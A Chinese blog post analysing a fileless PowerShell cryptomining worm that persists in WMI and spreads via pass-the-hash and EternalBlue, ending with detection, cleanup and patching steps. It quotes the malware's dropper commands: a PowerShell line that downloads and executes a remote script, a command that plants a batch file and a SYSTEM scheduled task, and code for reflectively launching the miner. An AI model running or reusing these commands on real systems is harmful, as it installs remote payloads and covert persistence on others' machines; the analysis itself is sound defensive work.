2019年末Powershell 挖矿病毒的处理与防范

  序文

  最近,一种通过PowerShell脚本作为载体进行传播的挖矿病毒在企业网络中频繁爆发,该病毒其利用了WMI+Powershell方式进行无文件攻击,并长驻内存进行挖矿。还具有两种横向传染机制,分别为WMIExec自动化爆破和MS17-010“永恒之蓝”漏洞攻击,极易在企业网的局域网内迅速传播。某一天,当你检查服务器,发现很多服务器的CPU使用率特别高,且使用进程为Powershell.exe时,那么基本可以判定,您的服务器中了Powershell挖矿病毒了。

  病毒组成

  通过wbemtest打开WMI测试器,连接到:rootDefault时会发现Powershell挖矿病毒已经帮您新建了一个攻击类之前的名称叫:Win32_Services,后面有一些变种病毒创建的攻击类更改了名称为:System_Anti_Virus_Core。双击攻击类后会发现,经过Base 64加密的攻击代码Base 64解码器(http://www.heminjie.com/tool/base64.php))

  病毒被加载后内存存在4个模块,分别为挖矿模块、Minikatz模块、WMIExec模块、MS17-010攻击模块。

    1.首先,挖矿模块启动,持续进行挖矿。
    2.其次,Minikatz模块对目的主机进行SMB爆破,获取NTLMv2数据。
    3.然后,WMIExec使用NTLMv2绕过哈希认证,进行远程执行操作,攻击成功则执行shellcode使病原体再复制一份到目的主机并使之运行起来,流程结束。
    4.最后,如WMIExec攻击失败,则尝试使用MS17-010“永恒之蓝”漏洞攻击,攻击成功则执行shellcode使病原体再复制一份到目的主机并使之运行起来(每感染一台,重复1、2、3、4)。此病毒采用的是WMI+Powershell的内存驻留方式,模块以服务形式存在,每5600秒可自动触发一次。

  

   此次攻击,WMIExec攻击体和MS17-010攻击体均为Powershell脚本,Minikatz为二进制程序。

  

  此病毒会尝试连入世界各大矿池地址,主要为欧美及亚太地区。另外,这次挖矿币种为门罗币,也有黑客钱包地址。

   

   过Powershell脚本调用WMI二进制载荷实现挖矿          

   为了利益最大化,此病毒还会尝试干掉其它挖矿进程           

  此PowershellMiner,做了一个操作系统适配和Minikatz数据更新机制。如果为info6.ps1,则运行起来后会判断操作系统是否为64位的,若不是,则下载info3.ps1并替换执行。
同理,如果为info3.ps1,则运行起来后会判断操作系统是否为32位的,若不是,则下载info6.ps1。为最大程度的完成SMB爆破效果,Minikatz模块也会主动去下载最新的数据载荷(应用配置和密码字典之类的数据)。

  

代码分析

详见:小心PowerShell抓你当“矿工”!-安全豹

这里是链接备份防链接失效,请自觉略过方框里的内容

母体脚本

如下为捕获到的样本,也是一个唯一落地的BAT脚本,功能上算一个较为常见的PowerShell联网下拉执行脚本。通过判断WMI的rootSubscription命名空间下是否存在名为SCM Event FilterConsumer,如果不存在则联网下拉info6.ps1脚本。

powershell "if(!(string).contains('SCM EventFilter')) 
{
    IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX:8000/info6.ps1')
}"

提供病毒下载的服务器

image.png

其中,

  • info.vbs 携带挖矿程序的vbs脚本,自身会写入WMI
  • info3.ps1 携带x86平台挖矿、攻击脚本
  • info6.ps1 携带x64平台挖矿、攻击脚本

攻击演示图

image.png

info6.ps1主脚本

混淆严重

info6.ps1是一个混淆程度较高的powershell脚本,整体代码只有两行,但足有3.9M大小,真是”短小精悍”。image.png

image.png

通过对该脚本进行2次去混淆并进行整理,最终得到一个较为清晰的内容,下文是其执行过程及其相关模块的分析。

执行过程

1.初始化数据

通过对$fa进行分拆得到各个变量的数据,实际均经过base64编码。

image.png

这些数据会存储在ManagementClass中,而ManagementClass的管理类是WMI,实际最终存储在WMI 中,也即无文件

image.png

在取值的时候,则可以通过如下方式取出

 # 取出mimi模块
([WmiClass] 'rootdefault:Win32_TaskService').Properties['mimi']

2.判断x64

大多数机器是x64的,但也有部分x86用户,需要做兼容,实际功能代码与info6.ps1一样。

image.png

3. 解fun代码

由于fun中有WMIExec和MS17010的攻击包,还有一些是辅助功能函数,所以这里先引入,至于里面具体是什么请向下看。

image.png

4.释放运行时dll

这些dll是挖矿程序需要用到的,所以这里早点释放出来吧

image.png

5. 删除其他WMI

image.png

6. 写自己的WMI

其中FilterName与ConsumerName分别为SCM Event Filter,SCM Event Consumer,间隔5600s执行一次”本脚本”功能,通过powershell传入base64编码后的脚本内容。

image.png

image.png

7. 善后、开工!

由于母体bat脚本是由ms17010 shellcode写入temp路径下的,原始名称为y1.bat,并且通过写计划任务的形式启动,所以这里需要删掉这个计划任务以及清理掉这个bat脚本。之后看看哪些powershell进程访问了80端口,由于样本携带的挖矿程序均访问80端口,所以也以此判断是否启动了自己的挖矿程序,如果没访问那么就需要执行一次,当然为了保证工作环境的干净,需要干掉疑似挖矿的其他powershell进程,通过判断典型挖矿程序的的3333,5555端口访问。

image.png

8. 攻击、传播!

为了保证挖矿效率,需要抓一些”矿工”,由于不会给工资,所以没人愿意白干。这里需要请WMIExec和MS17010两位大哥出面协调。

image.png

通过枚举网段IP,进行攻击,由于给WMIExec 命令行参数传错,导致这个攻击彻底废了,那只好MS17010出马了,通过调用C#实现的[PingCastle.Scanners.ms17_010scanner]::SCAn接口,以及SMB_EtERNAlbLue函数进行攻击。

image.png

模块分析

继上文说到本样本使用了WMIExec和MS17010攻击包,那么这些东西是什么,又是怎么引入的?这也是本节要说明的。

WMIExec

代码来自Invoke-TheHash项目,一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的工具,执行时不需要本地管理员权限,传送门

image.png

样本作者封装了一个test-ip函数,其参数2,4是通过mimikatz抓取的本地用户hash,参数1,3分别是目标ip和回连web服务器。WMIExec执行的功能是通过写一个VBS Download,下拉执行一个VBS脚本,同时下拉执行info6.ps1 (32位为info3.ps1)。

image.png

MS17010

虽然这个漏洞目前看来有点”过气”,但毕竟也是RCE啊!

作者分别引入了扫描和exp模块,扫描模块,通过Add-Type -TypeDefinition的方式引入源代码,这样会在powershell运行过程中调起C#编译器动态编译,抓取到的命令行如下

"C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe"/t:library /utf8output /R:"System.dll" /R:"C:WindowsassemblyGAC_MSILSystem.Management.Automation1.0.0.0__31bf3856ad364e35System.Management.Automation.dll"/out:"C:Users[user]AppDataLocalTempkr7amwim.dll" /D:DEBUG/debug+ /optimize- /warnaserror  "C:Users[user]AppDataLocalTempkr7amwim.0.cs"

exp模块,已封装很完整,暂未找到开源代码。image.png

shellcode,执行如下命令

cmd /c echo powershell "if(!(string).contains('SCMEvent Filter')) {IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX/info6.ps1')}"  >%temp%y1.bat && SCHTASKS  /create /RU System /SC WEEKLY /TNyastcat  /f /TR "%temp%y1.bat"&&SCHTASKS  /run  /TN yastcat

攻击时截图如下,

image.png

执行方式

样本作者在PowerShell中携带的挖矿程序,会通过反射加载的方式进行启动,具体可以用如下代码模拟启动

$mon = get-content ".mon" #dump出的mon
$funs = get-content ".funs"  #dump出的funs
iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command  -ScriptBlock $RemoteScriptBlock -ArgumentList@($mon, $mon, 'Void', 0, '', '')

(门罗毕)挖矿程序执行后,界面如下

image.png

info.vbs脚本

上文说了info6.ps1和其相关的辅助模块,同时提到一次WMIExec攻击成功之后,会下拉一个info.vbs脚本,但是由于传入参数问题,这个是不会被下拉的,这里简单分析下。vbs脚本依然存在混淆,通过提取、整理,如下,先将编码后的另一个挖矿程序写入到WMI中保存起来,使用的时候通过调用WriteBinary函数导出

image.png

之后取出来,释放执行,开始挖矿image.png

InstallUpdateableT完成写一个WMI事件过滤器,间隔2h启动一次,功能当然是取挖矿程序,释放执行,这里不再赘述。image.png

检测&清除

  1. 通过代码分析,本样本实际传播途径主要为ms17010,所以提醒各位还是要及时安装补丁。
  2. 检测&清除PowerShell脚本代码如下,请尝试以管理员权限运行(请谨慎使用下列代码,在自身不确定的情况下也可安装金山毒霸进行检测)

    Write-host "[*] BadBee! Check&Clear!"
    $find = $false
    $mimi = $null
    $zlib = $null
    if (([string](Get-WMIObject -Namespace rootSubscription -Class __FilterToConsumerBinding )).contains('SCM Event Filter'))
    {
        $mimi = ([WmiClass] 'rootdefault:Win32_TaskService').Properties['mimi']
        $zlib = ([WmiClass] 'rootdefault:Win32_TaskService').Properties['zlib']
        if (($mimi -and $mimi.value[0] -eq 'T' -and $mimi.value[1] -eq 'V' -and $mimi.value[2] -eq 'q') -or 
            ($zlib -and $zlib.value[0] -eq 'T' -and $zlib.value[1] -eq 'V' -and $zlib.value[2] -eq 'q'))
        {
            Write-host "[*]Find BadBee!"
            $find = $true   
        }
    }
    if ($find -eq $true)
    {
        Write-host "[+]C1ear  WMI in..."
        gEt-wmIObjeCt -Namespace rootSubscription -Class __EventFilter -filter "Name= 'SCM Event Filter'" |remOVe-wMiObjecT  -Verbose
        GeT-wmiOBjECT -Namespace rootSubscription -Class CommandLineEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose
        GET-WMioBject -Namespace rootSubscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%SCM Event Consumer%'" | REmOVE-wmIOBjEcT -Verbose
        GeT-wmiOBjECT -Namespace rootSubscription -Class  ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose
        ([WmiClass]'rootdefault:Win32_TaskService') | REmOVE-wmIOBjEcT -Verbose
        Write-host "[+]C1ear  WMI out..."
    }
    else
    {
        Write-host "[-]C0ngratulation nothing to find ..."
    }
    Write-host "[*]all done ..."
    

  处理Powershell挖矿病毒

  首先应对:

  1、隔离感染主机:已中毒计算机尽快隔离,关闭所有网络连接,禁用网卡。
  2、切断传播途径:关闭潜在终端的SMB 445等网络共享端口,关闭异常的外联访问。
  3、查找攻击源:借助安全感知类产品定位攻击源。   

  查杀病毒:

  查杀比较简单,使用Autoruns工具(微软官网可下),选择WMI,如下图,将该WMI启动项删除(该项底部详细栏有“SELECT * FROM __InstanceModificationEvent WITHIN 5600”)。

  手动删除:

  第一步:通过taskkill命令结束Powershell.exe进程: 

    taskkill /IM powershell.exe /F /S 10.1.13.30
    taskkill /IM powershell.exe /F /S 10.1.13.51

  第二步:删除攻击类:运行-wbemtest 打开WMI检查器: 

      连接到默认的命名空间,点击枚举类

      

       名字类似 Win32_Services,System_Anti_Virus_Core类的都删除。

  第三步:删除“控制面板-系统和安全-管理工具-本地安全策略(运行:SECPOL.MSC)-IP安全策略在本地计算机”(默认是空)下的项目

  修改主机账号密码,修补漏洞:

  打上“永恒之蓝”漏洞补丁,请到微软官网,下载对应的漏洞补丁(https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx)。

  

365个夜晚,我希望做到两天更一篇博客。加油,小白!
原文地址:https://www.cnblogs.com/qq2806933146xiaobai/p/12365955.html